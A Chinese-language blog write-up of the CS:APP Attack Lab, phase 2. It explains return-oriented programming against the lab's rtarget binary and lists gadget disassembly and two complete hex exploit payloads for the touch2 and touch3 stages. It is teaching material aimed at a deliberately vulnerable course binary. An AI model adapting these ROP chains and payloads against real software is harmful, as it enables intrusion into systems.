Attack-lab 总结

Attack lab 的第二个部分。其实本来没想写的思来想去还是补完吧。

曾沿着雪路浪游 为何为好事泪流
谁能凭爱意要富士山私有

第二部分

增强版的第一部分,只要做 2、3 两问。现在栈随机化,而且加了金丝雀导致不能直接改栈,好像还有栈保护机制。面向返回编程:既然栈上的内容不能运行而且连地址都不固定,那就直接利用内存中已经存在的代码段拼凑出破解的方法。(这个想法真的厉害)好比 “哈基米南北绿豆 “七个字每个单独拉出来都没什么问题连在一起就糖丸辣。

x86-64 适用于这种攻击的特点是机器码不定长,一段机器码从中间截取一段就可能是完全不同的意思,而且很可能运行。

题目好心造了一个 “代码农场”,rtarget 运行的时候会加载里面的代码,可以直接利用。

第一关,在代码农场找了这个:

1
2
3
4
5
6
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax here pop rax ret
4019cf: c3 ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax here movq %rax,%rdi
4019a6: c3 ret

利用缓冲区溢出加载一段跳到 pop rax 的地方,然后把放在栈顶的 cookie 顺水推舟到 rax 上,随着 ret 继续退栈转到下一个地址,也就是 movq % rax,% rdi 的位置,把 rax 加载到第一个参数,继续 ret 到 touch2。利用 ret 跳一跳就是 ROP 面向返回。载荷如下:

1
2
3
4
5
6
7
8
9
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

第二关,csapp 官方只给了很少的分数,据他们说比较难,为了防卷特意降分,建议国内大学学习这种优良品质。我给了一个一定概率过不掉的载荷,但事实上我试了五次都成功了。

需要参照上面的代码段,有复用。说实话我自己记不太清了。

1
2
3
4
5
6
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax here add, $0x37, %al
4019da: c3 ret
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax here movq %rsp,%rax
401a09: c3 ret

把栈顶指针给 rax,然后 al(低 8 位)+0x37,也就是往前移动,把这个地址喂给 rdi 当第一个参数,呼 touch3 结束。至于有可能跑不通是因为 al 加法不进位,一旦 al + 0x37 溢出了地址计算会少 255,我藏在栈里的字符串就给不到 touch3 了。

载荷,字符串以 0 结尾。

1
2
3
4
5
6
7
8
9
10
11
12
13
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
06 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
f4 f4 f4 f4 f4 f4 f4 f4
f4 f4 f4 f4 f4 f4 f4 f4
f4 f4 f4 f4 f4 f4 f4 f4
f4 f4 f4 f4 f4 f4 f4 35 39 62 39 39 37 66 61 00

官方解答确实很可以。摘自 ai

步骤 操作 目的
1 push %rsp; pop %rax 获取 RSP。因为直接 mov %rsp, %rax 的指令很难找,通常利用栈做中转。
2 mov %rax, %rdi 把当前的栈地址暂时存入 %rdi(或者其他中转寄存器)。
3 pop %rax 从栈上弹入你计算好的 64 位 Offset%rax
4 add %rax, %rdi 核心步骤:执行 64 位加法,进位会自动传播。
5 mov %rdi, %rax (如果需要)进一步挪动地址。
6 mov %rax, %rdi 将最终算好的字符串绝对地址放入 %rditouch3 的参数)。

movl 的陷阱:用 movl % eax, % edx,x86-64 会自动把 % rdx 的高 32 位清零。

中转函数:在 farm.c 里找类似于 void add_xy (long x, long y) 的函数,从里面抠出 48 01 c7 (add % rax, % rdi) 这种指令。

lea:利用 48 8d 04 37 (lea (% rdi, % rsi, 1), % rax) 这种指令,一次性完成 “加法 + 搬运”。

Attack-lab 本身不算很大,大概做了大半天。有机会更 Bomb-lab,在我完全忘记之前。